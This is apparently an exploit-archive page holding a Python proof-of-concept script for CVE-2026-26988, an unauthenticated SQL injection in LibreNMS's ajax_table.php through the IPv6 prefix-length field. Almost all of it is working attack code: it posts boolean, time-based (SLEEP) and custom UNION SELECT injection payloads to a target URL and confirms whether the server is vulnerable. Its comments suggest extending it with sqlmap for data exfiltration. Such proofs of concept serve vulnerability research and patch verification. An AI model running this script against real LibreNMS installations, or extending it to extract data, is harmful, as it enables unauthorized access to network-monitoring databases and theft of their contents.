4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
# Exploit Title: LibreNMS ajax_table.php IPv6 SQL Injection
# CVE: CVE-2026-26988
# Date: 2026-02-20
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub:
# Vendor Homepage: https://www.librenms.org/
# Software Link: https://github.com/librenms/librenms
# Affected: LibreNMS <= 25.12.0
# Tested on: LibreNMS 25.12.0 (PHP 8.1 + MySQL)
# Category: Webapps
# Platform: PHP
# Exploit Type: Remote SQL Injection (Unauthenticated)
# CVSS: 9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N
# Description: Unauthenticated SQL injection in ajax_table.php when search_type=ipv6.
#              The ipv6_prefixlen value is concatenated unsafely into SQL allowing
#              arbitrary query injection via single-quote breakout in the prefix part.
# Fixed in: LibreNMS 26.1+ (commit 15429580baba03ed1dd377bada1bde4b7a1175a1)
# Usage: python3 exploit.py <target> [--test] [--boolean] [--time] [--payload "..."]
#
# Examples:
#   python3 exploit.py http://192.168.1.50/librenms --time
#   python3 exploit.py http://target/librenms --test --payload "64' UNION SELECT @@version -- "
#
# Options:
#   --test      Basic syntax error test
#   --boolean   Boolean-based blind confirmation
#   --time      Time-based blind confirmation (SLEEP)
#   --payload   Custom injection string after the /
#
# Notes:
#   - Most effective when ajax_table.php is unauthenticated (common default config).
#   - Time-based is usually the most reliable detection method.
#   - For real exploitation (data exfil, etc.) extend with sqlmap or custom payloads.
#
# How to Use
#
# Step 1: Run with --time to confirm vulnerability via delay:
#         python3 exploit.py http://target/librenms --time

print("""
╔══════════════════════════════════════════════════════════════════════════════╗
║                                                                              ║
║                   CVE-2026-26988 - Proof of Concept                          ║
║                                                                              ║
║                                                                              ║
║  Author ............ Mohammed Idrees Banyamer                                ║
║  Country ........... Jordan                                                  ║
║  Instagram ......... @banyamer_security                                      ║
║  Date .............. February 20, 2026                                       ║
║                                                                              ║
╚══════════════════════════════════════════════════════════════════════════════╝
""")

import sys
import requests
import argparse
import time

def send_request(url, payload):
    start = time.time()
    data = {
        "id": "address-search",
        "search_type": "ipv6",
        "address": f"2001:db8::1/{payload}"
    }
    try:
        r = requests.post(url, data=data, timeout=15)
        elapsed = time.time() - start
        return (r.status_code, r.text[:400], elapsed)
    except requests.RequestException as e:
        return (False, f"Request failed: {e}", 0.0)

def main():
    parser = argparse.ArgumentParser(description="PoC for CVE-2026-26988 (LibreNMS SQLi)")
    parser.add_argument("target", help="Base URL of LibreNMS (e.g. http://example.com/librenms)")
    parser.add_argument("--test", action="store_true", help="Basic injection test (causes syntax error)")
    parser.add_argument("--boolean", action="store_true", help="Boolean-based blind test (true/false)")
    parser.add_argument("--time", action="store_true", help="Time-based blind test (SLEEP)")
    parser.add_argument("--payload", type=str, default=None, help="Custom payload after /")
    args = parser.parse_args()

    base_url = args.target.rstrip("/") + "/ajax_table.php"

    print(f"[*] Targeting: {base_url}")
    print("[*] Using search_type=ipv6 → vulnerable ipv6_prefixlen concatenation\n")

    print("[>] Sending baseline request (no injection)...")
    code, text, elapsed = send_request(base_url, "64")
    print(f"    → Status: {code} | Time: {elapsed:.2f}s | Snippet: {text[:120]}...\n")

    if args.test or not (args.boolean or args.time):
        payload = "64'-- " if not args.payload else args.payload
        print("[>] Basic injection test (expect syntax error / 500 / error message)")
        print(f"    Payload: address=2001:db8::1/{payload}")
        code, text, elapsed = send_request(base_url, payload)
        print(f"    → Status: {code} | Time: {elapsed:.2f}s")
        print(f"    → Response snippet: {text}\n")
        if "error" in text.lower() or "sql" in text.lower() or code in (500, 400):
            print("[!] Likely vulnerable — syntax error / SQL leaked!\n")

    if args.boolean:
        print("[>] Boolean-based blind test")
        payload_true = "64' OR 1=1 -- " if not args.payload else args.payload
        print(f"    True payload : /{payload_true}")
        _, _, t_true = send_request(base_url, payload_true)

        payload_false = "64' OR 1=2 -- " if not args.payload else args.payload
        print(f"    False payload: /{payload_false}")
        _, _, t_false = send_request(base_url, payload_false)

        print(f"    → If vulnerable, true should return results, false should return empty/different.")
        print("      Compare response content manually (or length/status/code).")

    if args.time:
        print("[>] Time-based blind test (SLEEP)")
        payload_delay = "64' OR SLEEP(6) -- " if not args.payload else args.payload
        print(f"    Delay payload: /{payload_delay}  → expect ~6+ seconds")
        _, _, elapsed = send_request(base_url, payload_delay)
        print(f"    → Response time: {elapsed:.2f} seconds")
        if elapsed > 5.5:
            print("[!] Vulnerable — time delay confirmed!\n")
        else:
            print("[ ] No significant delay — may be patched / WAF / not vulnerable\n")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Error: Target URL required.")
        sys.exit(1)
    main()